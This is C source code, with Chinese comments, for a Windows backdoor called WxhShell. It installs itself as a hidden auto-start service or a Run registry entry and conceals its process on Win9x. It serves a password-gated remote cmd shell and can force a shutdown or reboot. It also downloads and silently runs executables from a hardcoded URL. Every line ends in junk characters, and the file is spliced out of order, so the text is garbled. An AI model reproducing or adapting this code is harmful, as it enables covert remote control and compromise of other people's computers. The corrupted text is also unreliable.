  // 关机 \# 7@a74  
  case 'd': { qA UaF;{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tegOT]|  
    if(Boot(SHUTDOWN)) 8'3"uv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N1YgYL  
    else { D8k*0ei&  
    closesocket(wsh); C@ FxB[  
    ExitThread(0); @ L\-ZWq  
    } &@=u+)^-{  
    break; `ajx hp  
    } h^['rmd  
  // 获取shell ;rNd701p"  
  case 's': { W=~id"XtJ  
    CmdShell(wsh); "w;08TX8  
    closesocket(wsh); M_tj7Q3 W  
    ExitThread(0); vAi"$e  
    break; vz6SCGg,  
  } 86/.8  
  // 退出 ''_,S,.a20  
  case 'x': { 1pWk9Xuh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "=9-i-K9B  
    CloseIt(wsh); .JNcY]V#  
    break; 0o;k?4aP.c  
    } ]9fS@SHdx  
  // 离开 <"N:rn{Qq  
  case 'q': { ~q{\;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !K!)S^^Po?  
    closesocket(wsh); -_s%8l^  
    WSACleanup(); DD2adu^  
    exit(1); IS-}:~Pi  
    break; \'[3^/('  
        } s;s0}Td_1  
  } )r=9]0=  
  } ]t*33  
:b"= KQ  
  // 提示信息 M#ZT2~+CT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M#`{>R|  
} Pl_^nFm0  
  } |B 9t-  
y*w"J3|29  
  return; :){)JZ}-95  
} F@g17aa  
[C~fBf5  
// shell模块句柄 FU[*8^Z  
int CmdShell(SOCKET sock) a-fv[oB  
{ xne]Q(B>  
STARTUPINFO si; >Q&CgGpW$  
ZeroMemory(&si,sizeof(si)); b~1iPaIh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %WZ$]M?q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I[@ts!YD  
PROCESS_INFORMATION ProcessInfo; ?vvG)nW  
char cmdline[]="cmd"; %yeu"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); { AFf:[G  
  return 0; 'CgV0&@  
} >xZ5 ac I  
B<Ol+)@,}  
// 自身启动模式 qbH %Hx  
int StartFromService(void) U4]30B{;H  
{ X) 8e4~(?  
typedef struct X|,["Az 8  
{ gglf\)E;}E  
  DWORD ExitStatus; B4@fY  
  DWORD PebBaseAddress; XWJ SLN(O  
  DWORD AffinityMask; \Ps5H5Qk;  
  DWORD BasePriority; VDG|>#[!  
  ULONG UniqueProcessId; &0s*P G  
  ULONG InheritedFromUniqueProcessId; lbd(j{h>4  
}   PROCESS_BASIC_INFORMATION; F9%,MSt  
>$Fp}?xX  
PROCNTQSIP NtQueryInformationProcess; UnP|]]o:I  
uN8/Q2   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; { E^U6@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rjXnDh]MC  
*u}'}jC1X  
  HANDLE             hProcess; 3\1#eK'TK.  
  PROCESS_BASIC_INFORMATION pbi; h 5Hr[E1  
2R\+}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7"#f!.E  
  if(NULL == hInst ) return 0; lVP |W:~K  
&m'?*O |  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D'<$ g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d bCNhbN(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Oc#>QZ3  
r|<6Aae&  
  if (!NtQueryInformationProcess) return 0; =)(0.E  
C\OECVT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pp<E))&R  
  if(!hProcess) return 0; o OQ'*7_  
ewpig4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -A}zJBcR  
"w9`cz9a~J  
  CloseHandle(hProcess); l~NEGb  
z" EWj73  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5\xr?`VZ  
if(hProcess==NULL) return 0; H$Kw=kMw  
%Uf'+!4l`  
HMODULE hMod; EZ/^nG  
char procName[255]; W+K.r?G<j  
unsigned long cbNeeded; Xo\S9,s{  
eSn$k:\W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VtWT{y5Ec  
_W}(!TKO  
  CloseHandle(hProcess); ^zg acn  
?,>5[Ha^?  
if(strstr(procName,"services")) return 1; // 以服务启动 8TW5(fl  
"oe!M'aj`1  
  return 0; // 注册表启动 @7%.7LK  
} `0rRKlbj4  
hXc}r6<B  
// 主模块 AX;c}0g  
int StartWxhshell(LPSTR lpCmdLine) '$?du~L-  
{ 'AWp6L@  
  SOCKET wsl; F5U|9<  
BOOL val=TRUE; sBU_Ft  
  int port=0; N}DL(-SQ3  
  struct sockaddr_in door; JCD?qeTg  
or!!s 5[d  
  if(wscfg.ws_autoins) Install(); e}e6r3faz  
p31oL{D  
port=atoi(lpCmdLine); WFem#hq   
7E\g &R.  
if(port<=0) port=wscfg.ws_port; 8ljuc5,J  
uFo/s&6K  
  WSADATA data; kM;o0wi  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ('JKN"3  
zqf[Z3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o,*=$/or  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +?Ez} BP  
  door.sin_family = AF_INET; m8+:=0|$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8SZK:VE@  
  door.sin_port = htons(port); `;cz;"  
:3O5ET'1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KUFz:&wK  
closesocket(wsl); ^BiP LQ  
return 1; n]iyFZ`9  
} %J!NL0x_  
~)?|J  
  if(listen(wsl,2) == INVALID_SOCKET) { nmg{%P  
closesocket(wsl); c]NN'9G!{  
return 1; #)]E8=}  
} , D"]y~~I5  
  Wxhshell(wsl); (:n|v%  
  WSACleanup(); (v^Z BM_  
dlR_ckp  
return 0; Zi*%*nX  
qnXTNs ?b  
} |IN[uQ  
d@ (vg  
// 以NT服务方式启动 AG>\aV"b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o0mJy'  
{ yLqF ,pvO  
DWORD   status = 0; ?oKL &I@  
  DWORD   specificError = 0xfffffff; R5kH0{zM  
2M&$Wuu.q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y{+3}drJE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9`Vc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jT-<IJh!o  
  serviceStatus.dwWin32ExitCode     = 0; V{ |[oIp  
  serviceStatus.dwServiceSpecificExitCode = 0; Y[um|M315  
  serviceStatus.dwCheckPoint       = 0; fEwifSp.  
  serviceStatus.dwWaitHint       = 0; PIxjM>  
,H{={aln  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d}+W"j;  
  if (hServiceStatusHandle==0) return; QNpu TZn#Q  
J|5Ay1eF-  
status = GetLastError(); dB7ZT0L\  
  if (status!=NO_ERROR) F 7LiG9H6`  
{ t^U^Tr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; SiTeB)/  
    serviceStatus.dwCheckPoint       = 0; M1{(OY(G  
    serviceStatus.dwWaitHint       = 0; QC7k~I8  
    serviceStatus.dwWin32ExitCode     = status; CA*~2|  
    serviceStatus.dwServiceSpecificExitCode = specificError; #xp(B5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m9t$h  
    return; U&W"Ea=R/  
  } `0@z"D5c  
YPEnNt+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y.-S=Y   
  serviceStatus.dwCheckPoint       = 0; T5e^J"   
  serviceStatus.dwWaitHint       = 0; W;TJenv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H,K`6HH  
} ?1w"IjUS  
a g;dc  
// 处理NT服务事件,比如:启动、停止 X8R1a?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) pkk4h2Ah  
{ C:j]43`  
switch(fdwControl) ArXl=s';s4  
{ ti2  
case SERVICE_CONTROL_STOP: s)w9%  
  serviceStatus.dwWin32ExitCode = 0; X<euD9?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mb{q(WEPP  
  serviceStatus.dwCheckPoint   = 0; YgimJsm  
  serviceStatus.dwWaitHint     = 0; ~kb{K;  
  { Uk'U?9O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S>t>6&A  
  } OZOb1D  
  return; [r9d<Zi}{  
case SERVICE_CONTROL_PAUSE: nzuF]vo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T*+A.G@L"  
  break; eY}V9*.v  
case SERVICE_CONTROL_CONTINUE: wS$46M<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >nM%p4E  
  break; UA(;fZ@  
case SERVICE_CONTROL_INTERROGATE: ]w[ThHRJ  
  break; 8zmv 5trt  
}; 1;&T^Gdj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BIfi:7I;Q  
} ?,XC =}  
9XOyj5  
// 标准应用程序主函数 W[|[;{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sfI N)jh  
{ %\I.DEYH  
c<jB6|.=2  
// 获取操作系统版本 _tWE8 r,  
OsIsNt=GetOsVer(); i!,HB|wQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vGN3 YcH  
=x H~ww (D  
  // 从命令行安装 &t_h'JX&  
  if(strpbrk(lpCmdLine,"iI")) Install(); ug&92Hdvy3  
o;QZe&  
  // 下载执行文件 Dl A Z"C  
if(wscfg.ws_downexe) { jdlG#j-\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a5V=!OoMk  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6?o>{e7n^  
} 784;]wdy\  
D9o*8h2$  
if(!OsIsNt) { ' ^a!`"Bc  
// 如果时win9x,隐藏进程并且设置为注册表启动 )eR$:uO  
HideProc(); #T"64%dX  
StartWxhshell(lpCmdLine); :hP58 }Q$  
} }cW#045es  
else -3vh!JMN  
  if(StartFromService()) d?7BxYaa  
  // 以服务方式启动 v<&v]!nF  
  StartServiceCtrlDispatcher(DispatchTable); 5~l2!PY  
else oMc1:=EG  
  // 普通方式启动 CQ>]jQ,2  
  StartWxhshell(lpCmdLine); 7I3:u+  
HNMBXXf, B  
return 0; 2AK}D%jfc  
} Qlh?iA  
Fu##'#  
or.\)(m#(  
EfKntrom[  
=========================================== bNs[O22  
iZC`z }  
|Puj7Ru  
fIkT"?  
VDn:SGj5  
5/(sjMB  
" !. eAOuq  
b1)\Zi  
#include <stdio.h> 3:AU:  
#include <string.h> ,`)OEI|1d  
#include <windows.h> PbN3;c3  
#include <winsock2.h> 6t$N78U  
#include <winsvc.h> 8&?p  
#include <urlmon.h> NWnWk  
U8[Qw}T P  
#pragma comment (lib, "Ws2_32.lib") G?ZC 9w]rA  
#pragma comment (lib, "urlmon.lib") {aIZFe}B  
3'^S3W%  
#define MAX_USER   100 // 最大客户端连接数 ?i%nMlcc  
#define BUF_SOCK   200 // sock buffer b9#m m  
#define KEY_BUFF   255 // 输入 buffer AY;<q$8j%,  
zq=&4afOE  
#define REBOOT     0   // 重启 DKHM\yt  
#define SHUTDOWN   1   // 关机 U' M|=I'  
O{BW;Deo  
#define DEF_PORT   5000 // 监听端口 %rXexy!V  
ArX]L$ D  
#define REG_LEN     16   // 注册表键长度 Xi+n`T'i  
#define SVC_LEN     80   // NT服务名长度 +wAp,Xr  
vv* |F  
// 从dll定义API |D+p$^L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ays L-sqR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R8ZD#,;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U!NI_uk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kQ[Jo%YT?E  
2-7Z(7G{ F  
// wxhshell配置信息 mtX31 M4  
struct WSCFG { Gw`/.0  
  int ws_port;         // 监听端口 tvCcyD%w  
  char ws_passstr[REG_LEN]; // 口令 -R8/`M8GbD  
  int ws_autoins;       // 安装标记, 1=yes 0=no //tT8HX  
  char ws_regname[REG_LEN]; // 注册表键名 -#OwJ*-U  
  char ws_svcname[REG_LEN]; // 服务名 b=G4MZQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Yx 3|G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /N%zwj/*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5\3 swP_7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m{O Dz :  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MYu`c[$jZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ydyG}XI7V  
c dDY]"k  
}; 4v>o%  
1 yJ75/  
// default Wxhshell configuration 5Kee2s?*  
struct WSCFG wscfg={DEF_PORT, &t_A0z  
    "xuhuanlingzhe", ,zoB0([  
    1, I}_;A<U  
    "Wxhshell", /} a_8iM\  
    "Wxhshell", ?(>k,[n  
            "WxhShell Service", 1wlVz#f.  
    "Wrsky Windows CmdShell Service", ?61L|vr  
    "Please Input Your Password: ", Q-3r}jJe  
  1, ~f .y:Sbb  
  "http://www.wrsky.com/wxhshell.exe", IqXBz.p  
  "Wxhshell.exe" e`;t<7*i  
    }; hd8B0eD'  
y,V6h*x2  
// 消息定义模块 "R8.P/ 3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  }Zt.*%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R)Q/Ff@o0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fw:7U %MGv  
char *msg_ws_ext="\n\rExit."; HS(U4   
char *msg_ws_end="\n\rQuit."; F:S"gRKz  
char *msg_ws_boot="\n\rReboot..."; ^?nP$+gq  
char *msg_ws_poff="\n\rShutdown..."; !*5_pGe  
char *msg_ws_down="\n\rSave to "; %6N)G!P  
u?H@C)P  
char *msg_ws_err="\n\rErr!"; C_-%*]*,j  
char *msg_ws_ok="\n\rOK!"; drbe#FObX  
6N&| 2:U  
char ExeFile[MAX_PATH]; ovB=Zm  
int nUser = 0; Y}S.37|+^  
HANDLE handles[MAX_USER]; f&f`J/(  
int OsIsNt; 9QC< E|  
D(!;V KH  
SERVICE_STATUS       serviceStatus; O%52V|m}{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *^uGvJXF  
*/4tJ G1U  
// 函数声明 ?P%|P   
int Install(void); <o ~t$TH  
int Uninstall(void); &{BBxv)y  
int DownloadFile(char *sURL, SOCKET wsh); ?THa5%8f  
int Boot(int flag); gt~9"I  
void HideProc(void); 0u>yT?jP  
int GetOsVer(void); X=JFWzC  
int Wxhshell(SOCKET wsl); q?(A!1(u  
void TalkWithClient(void *cs); ' 4,y  
int CmdShell(SOCKET sock); #t){4J  
int StartFromService(void); )sRN!~  
int StartWxhshell(LPSTR lpCmdLine); 1]Gf)|  
Ndo}Tk!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  ccRlql(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9U&~(;  
Kq$:\B)<c  
// 数据结构和表定义 K4_~ruhr  
SERVICE_TABLE_ENTRY DispatchTable[] = (Z5q&#f  
{ d8 rBu jT  
{wscfg.ws_svcname, NTServiceMain}, : 2_ 0L  
{NULL, NULL} DE5d]3B  
}; eR7qE) h  
u$apH{  
// 自我安装 sf fV.cC`  
int Install(void) >ze>Xr'm5=  
{ cLn;,u4  
  char svExeFile[MAX_PATH]; rFf :A-#l  
  HKEY key; W&HF?w}s  
  strcpy(svExeFile,ExeFile); NAJ '><2  
dv}8Y H["  
// 如果是win9x系统,修改注册表设为自启动 #c6ui0E%;t  
if(!OsIsNt) { ,m2A p\l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^cB49s+{e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); th5 X?so  
  RegCloseKey(key); d#E(~t(^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c]GQU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^!q 08`0  
  RegCloseKey(key); | -JI`!7  
  return 0; J>><o:~@  
    } G%xb0%oi]%  
  } _2NN 1/F5  
} >_rzT9gX&  
else { UAnB=L,.\  
es. jh  
// 如果是NT以上系统,安装为系统服务 3yeK@>C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n/ui<&(  
if (schSCManager!=0) _Ngx$  
{ eKL]E!  
  SC_HANDLE schService = CreateService ?R dmKA  
  ( l R:O k8e  
  schSCManager, ^`l"'6  
  wscfg.ws_svcname, *!._Ais,\  
  wscfg.ws_svcdisp, Ll008.#  
  SERVICE_ALL_ACCESS, l0qdk #v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H+S~ bzz  
  SERVICE_AUTO_START, aQz|!8Is  
  SERVICE_ERROR_NORMAL, mgmWDtxN  
  svExeFile, qzuQq94k  
  NULL, pWWL{@J  
  NULL, %4?SY82  
  NULL, qFvg}}^y  
  NULL, ~5lKL5w  
  NULL aQ.Iq  
  ); +P>Gy`D9  
  if (schService!=0) 1"8Z y6t  
  { `4q5CJ2  
  CloseServiceHandle(schService); 43vGgGW  
  CloseServiceHandle(schSCManager); v_y!Oh?EG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {Q{lb(6Ba  
  strcat(svExeFile,wscfg.ws_svcname); vp"%IW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0!9?H1>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W,QnU d'N  
  RegCloseKey(key); *>H M$.?Q  
  return 0; r]8wOu-'  
    } Q%M'[L?[  
  } o0zc}mm  
  CloseServiceHandle(schSCManager); 08<k'Oi]  
} F{#N6,T  
} $sA,$x:^xI  
8[6ny=S`  
return 1; >2l13^Y  
} l.__10{  
-@EBbM&  
// 自我卸载 zvek2\*rO  
int Uninstall(void) Q'n(^tbL  
{ 4+ASw N9  
  HKEY key; oUW )H  
nz,Mqol  
if(!OsIsNt) { 71oFm1m{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -X"5G  
  RegDeleteValue(key,wscfg.ws_regname); tYI ]LL  
  RegCloseKey(key); V_)5Af3wY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6{JR0  
  RegDeleteValue(key,wscfg.ws_regname); k#1`  
  RegCloseKey(key); Jngll  
  return 0; >P6^k!R1y  
  } /'8*aUa  
} {0NsDi>(2  
} {-xi0D/Y;  
else { ({;P#qCX  
6vD]@AF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QU-7Ch#8  
if (schSCManager!=0) 6%\7.h  
{ SREDM  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Tf&f`/  
  if (schService!=0) S5:"_U  
  { |i,zY{GI+2  
  if(DeleteService(schService)!=0) { OqfhCNAY  
  CloseServiceHandle(schService); n/9 LRZD|w  
  CloseServiceHandle(schSCManager); ^l]]qdNr  
  return 0; =:xV(GK}  
  } ]FY?_DGOA  
  CloseServiceHandle(schService); jI*}y[o  
  } &&(4n?   
  CloseServiceHandle(schSCManager); %Y)PH-z  
} 5 {T9*  
} }<( "0jC  
q7 %=`l  
return 1; ?$"x^=te7  
} T..N*6<X  
y1,?ZWTayr  
// 从指定url下载文件 >< <$  
int DownloadFile(char *sURL, SOCKET wsh) <GL}1W"Ay  
{ ql#{=oGDnA  
  HRESULT hr; Q{J"`d2  
char seps[]= "/"; ?6gDbE%  
char *token; dXA{+<!!  
char *file; Q%,o8E2~  
char myURL[MAX_PATH]; _ 6+,R  
char myFILE[MAX_PATH]; "?2  
F]K$u <U  
strcpy(myURL,sURL); \N# HPrv}  
  token=strtok(myURL,seps); %5Q7#xU  
  while(token!=NULL) f"5lOzj`C  
  { &y#\1K  
    file=token; >5Q^9 9V  
  token=strtok(NULL,seps); (uuEjM$3%  
  } "VT{1(]t  
OCbQB5k3  
GetCurrentDirectory(MAX_PATH,myFILE); nhVK?  
strcat(myFILE, "\\"); &X#x9|=&O  
strcat(myFILE, file); .G5NGB  
  send(wsh,myFILE,strlen(myFILE),0);  |0C|$2  
send(wsh,"...",3,0); 9[t]]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ({d,oU$>y  
  if(hr==S_OK) p"hm.=,  
return 0; ;w>3,ub(0  
else Ak\D6eHcB  
return 1; Pqr Ou  
7':5  
} 6SW|H"!!  
r)9i1rI+  
// 系统电源模块 _g^K$+F'}  
int Boot(int flag) )H[h53bIq  
{ _H^^2#wc/  
  HANDLE hToken; HobGl0<y  
  TOKEN_PRIVILEGES tkp; /ctaAQDUh\  
|?;"B:0  
  if(OsIsNt) { C;58z 5*,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <eud#v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2g ?Jb5)  
    tkp.PrivilegeCount = 1; =FtM;(\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  ?;ALF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7})!>p )  
if(flag==REBOOT) { +H)!uLva B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V',m $   
  return 0; :w {M6mM>  
} {|Mxvp*Hg  
else { xoz*UA.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |*]X\UE  
  return 0; zCj*:n  
} &;NNU T>Q  
  } |k7ts&2  
  else { Q ^1#xBd  
if(flag==REBOOT) { MQ9M%>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,z0~mN  
  return 0; vjs|!O=oH  
} wa(Wit"-  
else { T9<H%iF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3I U$  
  return 0; yO$r'9?,*  
} K*HVn2OV  
} 8M3p\}O  
xvdnEaWe$  
return 1; ;:-2~z~~  
} A3 Rm 0  
WRLu 3nBx  
// win9x进程隐藏模块 %~B)~|h  
void HideProc(void) Tg <>B  
{ QRg"/62WCD  
4Rrw8Bw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =CG!"&T  
  if ( hKernel != NULL ) r$3~bS$]  
  { N) V7yo?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1v[#::Bs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Vne. HFXA  
    FreeLibrary(hKernel); \J3v>&m<7  
  } % Zl_{Q]h  
%b>y  
return; U"%8"G0)  
} 35@Ibe~  
e%@[d<Ta\  
// 获取操作系统版本 -?%{A%'  
int GetOsVer(void) M$>WmG1~D  
{ *xZQG9`kt  
  OSVERSIONINFO winfo;  jKb=Zkd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d9[6kQ]  
  GetVersionEx(&winfo); H z < M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Skk3M?  
  return 1; vUIK4uR.  
  else tI!R5q;k  
  return 0; <2TB9]2. g  
} 6>N u=~  
R<0!?`b  
// 客户端句柄模块 F"@'(b  
int Wxhshell(SOCKET wsl) 3$kv%uf{  
{ ~qLhZR\g^  
  SOCKET wsh; *Y^Y  
  struct sockaddr_in client; kGBl)0pr`x  
  DWORD myID; zOu$H[  
i*cE  
  while(nUser<MAX_USER) 0|DG\&?  
{ @h7GTA \  
  int nSize=sizeof(client); ]uj.uWD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `X.=uG+m  
  if(wsh==INVALID_SOCKET) return 1; v-r[~  
`>Kk;`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "'H7F ,k'  
if(handles[nUser]==0) rfZj8R&  
  closesocket(wsh); RQK**  
else 7"CH\*%  
  nUser++; \ \mO+N47i  
  } \'^Z_6{w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R=Ly49  
n nnA,  
  return 0; fY\tvo%  
} }Bod#|`  
$O]E$S${  
// 关闭 socket ae(]9VW  
void CloseIt(SOCKET wsh) ;u-< {2P  
{ kAQ\t?`x  
closesocket(wsh); Vp-OGX[  
nUser--; cwW~ *90#  
ExitThread(0); <hF~L k ,  
} @9kk f{?  
8Jy1=R*S  
// 客户端请求句柄 \%4+mgiD  
void TalkWithClient(void *cs) y3o4%K8  
{ M3ZJt'|  
[2j (\vC!  
  SOCKET wsh=(SOCKET)cs; H R!>g  
  char pwd[SVC_LEN]; j>Bk; f|  
  char cmd[KEY_BUFF]; OAnn`*5Up  
char chr[1]; Mb/6>  
int i,j; PJ11LE  
Xde=}9  
  while (nUser < MAX_USER) { r;6YCI=z  
JpHsQ8<  
if(wscfg.ws_passstr) { j BQqpFH9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /qQ2@k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]#7Y @Yo  
  //ZeroMemory(pwd,KEY_BUFF); MPEBinE?  
      i=0; 7Hkf7\JY  
  while(i<SVC_LEN) { Xi`U`7?D(=  
2.&V  
  // 设置超时 6~Oje>w;  
  fd_set FdRead; Vqp.jF1|  
  struct timeval TimeOut; Sdu@!<?B  
  FD_ZERO(&FdRead); uxJiec`&  
  FD_SET(wsh,&FdRead); Y  X{  
  TimeOut.tv_sec=8; "?0 G^zu  
  TimeOut.tv_usec=0; xY}j8~k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <!HD tN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +&zuI  
;eEtdoy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H2_>Av{m  
  pwd=chr[0]; [N$_@[  
  if(chr[0]==0xd || chr[0]==0xa) { jvKaxB;e  
  pwd=0; #&8pp8wd,}  
  break; ,HO/Q6;N  
  } ToXFMkwY  
  i++; {8p?we3l1  
    } Gt%?[  
c"&!=@  
  // 如果是非法用户,关闭 socket i.dAL)V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !J?=nSu  
} OsSiBb,W79  
Ly/~N/<\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _j<M}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wm`"yNbD  
%>:)4A  
while(1) { U[ O!&:6  
vc1GmB  
  ZeroMemory(cmd,KEY_BUFF); ~4X!8b_  
/Ta0}Y(y  
      // 自动支持客户端 telnet标准   3)MM5 b b$  
  j=0; EsxTBg  
  while(j<KEY_BUFF) { Zu73x#pI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3bL2fsn5  
  cmd[j]=chr[0]; \^W?   
  if(chr[0]==0xa || chr[0]==0xd) { (']z\4o  
  cmd[j]=0; ph'SS=!.  
  break; a|{<#<6n(  
  } { rJF)\2  
  j++; pC.P  
    } O*Pe [T5x'  
"&o@%){]  
  // 下载文件 .0;k|&eBD  
  if(strstr(cmd,"http://")) { 0YRYCO$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v&,VC~RN-J  
  if(DownloadFile(cmd,wsh)) 0$h$7'a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6]A\8Ty  
  else 7 ,~Krzv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,ui'^8{gK  
  } LO*a>9LI  
  else { ['`'&+x&!  
